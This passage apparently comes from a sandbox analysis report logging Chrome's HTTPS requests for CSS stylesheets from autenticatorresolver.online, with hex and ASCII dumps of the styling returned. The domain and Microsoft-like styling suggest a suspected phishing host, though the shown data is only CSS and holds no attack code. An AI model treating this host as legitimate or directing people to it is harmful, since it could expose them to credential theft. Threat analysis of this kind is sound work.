2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 Data Ascii: ","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";font-size:0.9375rem;line-height:1.25rem;margin:0px;background-color:rgb(255,255,255)}button,input{font-weight:inherit;font-family:inherit;font-size:inherit
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 31 71 6d 67 75 76 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 7d 2e 66 31 75 69 6e 66 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 7d 2e 66 31 6a 6c 68 73 6d 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 66 31 39 66 34 74 77 76 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 7d 2e 66 31 68 75 33 70 71 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 7d 2e 66 31 37 6d 63 63 6c 61 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 31 39 64 6f 67 38 61 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 7d 2e 66 32 31 63 63 62 74 3e 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 66 Data Ascii: e{margin-left:0px}.f11qmguv{margin-right:0px}.f1uinfot{margin-top:16px}.f1jlhsmd{margin-bottom:12px}.f19f4twv{margin-bottom:0px}.f1hu3pq6{margin-top:0px}.f17mccla{text-align:center}.f19dog8a{position:fixed}.f21ccbt>div:nth-child(1){display:inline-block}.f
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 66 31 70 68 6b 69 34 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 66 31 62 73 6a 72 6d 33 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 66 31 6d 68 34 37 7a 68 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 33 70 78 7d 2e 66 38 32 69 74 61 66 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 7d 2e 66 31 32 6b 6c 74 73 6e 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 66 38 78 6c 7a 36 67 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 66 31 63 6d 62 75 77 6a 7b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 2e 66 31 39 70 68 38 38 62 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 2e 66 33 72 6d 74 76 61 7b Data Ascii: margin-left:8px}.f1phki43{margin-right:8px}.f1bsjrm3{text-decoration:none}.f1mh47zh{letter-spacing:3px}.f82itaf{line-height:22px}.f12kltsn{vertical-align:top}.f8xlz6g{line-height:24px}.f1cmbuwj{text-overflow:ellipsis}.f19ph88b{min-height:inherit}.f3rmtva{
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 74 6f 6d 3a 36 70 78 7d 2e 66 73 63 33 6d 76 6f 20 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 73 36 36 72 74 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 37 33 75 67 7a 31 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 35 69 76 33 37 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 31 69 77 38 76 76 35 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 Data Ascii: tom:6px}.fsc3mvo input{padding-left:0px}.f1s66rt0 input:hover{border-top-color:rgb(50,50,50)}.f73ugz1 input:hover{border-right-color:rgb(50,50,50)}.f5iv370 input:hover{border-left-color:rgb(50,50,50)}.f1iw8vv5 input:hover{border-bottom-color:rgb(50,50,50)
2024-11-26 12:43:35 UTC	232	IN	Data Raw: 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 39 65 78 37 35 37 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 62 6e 37 71 62 79 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 71 76 38 39 35 62 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 79 78 35 39 37 36 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 69 72 65 74 77 38 7b 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d 0d 0a Data Ascii: und-color:rgb(0,103,184)}.f9ex757{border-top-color:rgb(0,103,184)}.f1bn7qby{border-right-color:rgb(0,103,184)}.fqv895b{border-left-color:rgb(0,103,184)}.f1yx5976{border-bottom-color:rgb(0,103,184)}.f1iretw8{color:rgb(255,255,255)}
2024-11-26 12:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49738	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:34 UTC	594	OUT	GET /assets/global/pdf/css/conf.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/m6kgte57 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:35 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:35 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 02 Dec 2024 07:33:34 GMT etag: W/"5a2-66d40740-10b4ba;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 105001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qxXPR4GIHGfJaZ%2FQiQQcZk%2FUgCpwU87V7RD0uwSCR3s9RGbu0OFw5kN2lofwiYCnXoAMhI7jfc1ecMird2qdPkfxCJ2l5fQ03nKkunUWkxilYtmsVSHB%2F6v2Vm7EtcfDIDOTsRdzlL7%2FnmR0%2Fqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f708eac98c6c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1996&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2872&recv_bytes=1172&delivery_rate=1437715&cwnd=168&unsent_bytes=0&cid=b76d08f56f001931&ts=461&x=0"
2024-11-26 12:43:35 UTC	411	IN	Data Raw: 35 61 32 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 72 69 67 68 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 Data Ascii: 5a2@-webkit-keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@-webkit-keyframes f1o4taax{0%{right:0px;opacity:1}100%{right:-200px;opacity:0}}@keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@keyframes f1o4taax{0%
2024-11-26 12:43:35 UTC	1038	IN	Data Raw: 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 72 32 65 32 69 76 7b 30 25 7b 6c 65 66 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 70 67 72 70 7b 30 25 7b 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 77 6a 39 34 72 6c 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 32 30 30 70 78 3b 6f 70 61 Data Ascii: right:200px;opacity:0}100%{right:0px;opacity:1}}@keyframes fr2e2iv{0%{left:200px;opacity:0}100%{left:0px;opacity:1}}@keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@-webkit-keyframes f1wj94rl{0%{left:0px;opacity:1}100%{left:200px;opa
2024-11-26 12:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49740	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:35 UTC	594	OUT	GET /assets/global/pdf/css/conn.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/m6kgte57 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:35 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:35 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Mon, 02 Dec 2024 07:33:34 GMT etag: W/"338e-66d40740-10b4b9;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 105001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BjZ73Y8AjLES5VrSmbJYVYD9YxMFgciD5ekSe%2FbyGpW2xbtdYeKdC%2BssrEJ83%2BxyjSv8ssP9zunC7lkMX9ANUECSEI4f94ZIOA7ZoW4VTeaWdhrrCDRJ0xP0sYS0hMcE%2BNBeOfZFI5JPYaVhfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f709ab808c6c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1948&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2872&recv_bytes=1172&delivery_rate=1498973&cwnd=168&unsent_bytes=0&cid=4cb7a3ca5e9f110a&ts=477&x=0"
2024-11-26 12:43:35 UTC	410	IN	Data Raw: 33 33 38 65 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 69 68 79 70 77 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 64 78 70 6e 32 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 Data Ascii: 338e @media screen and (max-width:600px),screen and (max-height:366px){.f1hihypw{vertical-align:top}}@media screen and (max-width:600px),screen and (max-height:366px){.f1hdxpn2{padding-top:24px}}@media screen and (max-width:600px),screen and (max
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 62 30 39 6b 37 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 34 70 78 7d 2e 66 69 70 64 70 68 6f 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 73 77 31 35 67 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 Data Ascii: -bottom:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1b09k7r{padding-left:24px}.fipdpho{padding-right:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1sw15gs{margin-top:0px}}@media screen and (max-wid
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 74 74 6f 6d 3a 30 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 Data Ascii: ttom:0px}}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen a
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 79 72 6c 65 38 6a 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d 7d 40 6d 65 64 69 61 20 73 Data Ascii: ){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){.fyrle8j{background-color:rgb(255,255,255)}}@media s
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 Data Ascii: max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px)
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 63 74 69 76 65 29 7b 2e 66 31 33 68 66 76 63 6a 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 70 72 65 66 65 72 73 2d 63 6f 6e 74 72 61 73 74 3a 6d 6f 72 65 29 2c 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 66 6d 30 37 72 68 31 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 37 79 32 36 78 65 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 Data Ascii: ctive){.f13hfvcj{border-bottom-style:solid}}@media screen and (prefers-contrast:more),(forced-colors:active){.fm07rh1{border-left-style:solid}.f7y26xe{border-right-style:solid}}@media screen and (-ms-high-contrast:active){}@media screen and (-ms-high-cont
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 7d 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 68 65 30 74 64 37 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 2e 66 39 71 34 79 71 75 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 Data Ascii: highlight}.fwbpk35{border-left-color:highlight}}@media screen and (-ms-high-contrast:active){.fhe0td7{border-bottom-color:highlight}}@media screen and (-ms-high-contrast:active){.fwbpk35{border-left-color:highlight}.f9q4yqu{border-right-color:highlight}}@
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 74 78 72 30 35 38 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 78 38 6d 32 32 70 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 31 71 64 33 62 6d 36 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b Data Ascii: ia screen and (-ms-high-contrast:active){.ftxr058:hover{border-bottom-style:solid}}@media screen and (-ms-high-contrast:active){.f1x8m22p:hover{border-left-style:solid}.f1qd3bm6:hover{border-right-style:solid}}@media screen and (-ms-high-contrast:active){
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 64 36 37 32 30 74 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 75 35 65 69 68 72 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 70 78 7d 2e 66 31 69 6b 34 75 33 75 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 Data Ascii: idth:1px}}@media screen and (-ms-high-contrast:active){.fd6720t:hover:focus{border-bottom-width:1px}}@media screen and (-ms-high-contrast:active){.f1u5eihr:hover:focus{border-left-width:1px}.f1ik4u3u:hover:focus{border-right-width:1px}}@media screen and (
2024-11-26 12:43:35 UTC	1369	IN	Data Raw: 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 72 78 36 7a 70 6a 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 6c 69 6e 65 3a 75 6e 64 65 72 6c 69 6e 65 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 79 65 65 72 62 6b 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 61 70 65 65 68 75 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 Data Ascii: ast:active){.f1rx6zpj:hover:focus{text-decoration-line:underline}}@media screen and (-ms-high-contrast:active){.f1yeerbk:focus{outline-width:1px}}@media screen and (-ms-high-contrast:active){.f1apeehu:focus{outline-style:solid}}@media screen and (-ms-high

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
